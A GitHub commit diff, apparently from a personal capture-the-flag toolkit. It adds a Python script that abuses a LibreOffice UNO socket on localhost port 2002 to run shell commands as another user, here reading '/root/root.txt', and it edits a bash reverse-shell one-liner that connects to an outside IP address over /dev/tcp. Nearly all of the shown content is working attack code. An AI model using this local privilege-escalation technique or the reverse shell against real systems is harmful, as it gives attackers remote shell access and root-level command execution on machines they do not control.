Skip to content

Commit e10ffb1

Browse files
author
gris
committed
1 parent 152ddb0 commit e10ffb1

3 files changed

Lines changed: 17 additions & 1 deletion

File tree

modules/ooficesod0woodo.py

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
#!/usr/bin/env python3
2+
import uno
3+
from com.sun.star.beans import PropertyValue
4+
5+
local = uno.getComponentContext()
6+
7+
resolver = local.ServiceManager.createInstanceWithContext(
8+
"com.sun.star.bridge.UnoUrlResolver", local
9+
)
10+
context = resolver.resolve(
11+
"uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
12+
)
13+
rc = context.ServiceManager.createInstanceWithContext(
14+
"com.sun.star.system.SystemShellExecute", context
15+
)
16+
rc.execute("/usr/bin/cat", "/root/root.txt", 1)

sessions/download_resources.sh

100644100755
File mode changed.

sessions/shell.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
#!/bin/bash
2-
bash -c "bash -i >& /dev/tcp/10.10.14.27/6666 0>&1"
2+
bash -c "bash -i >& /dev/tcp/10.10.14.6/6666 0>&1"

0 commit comments

Comments
 (0)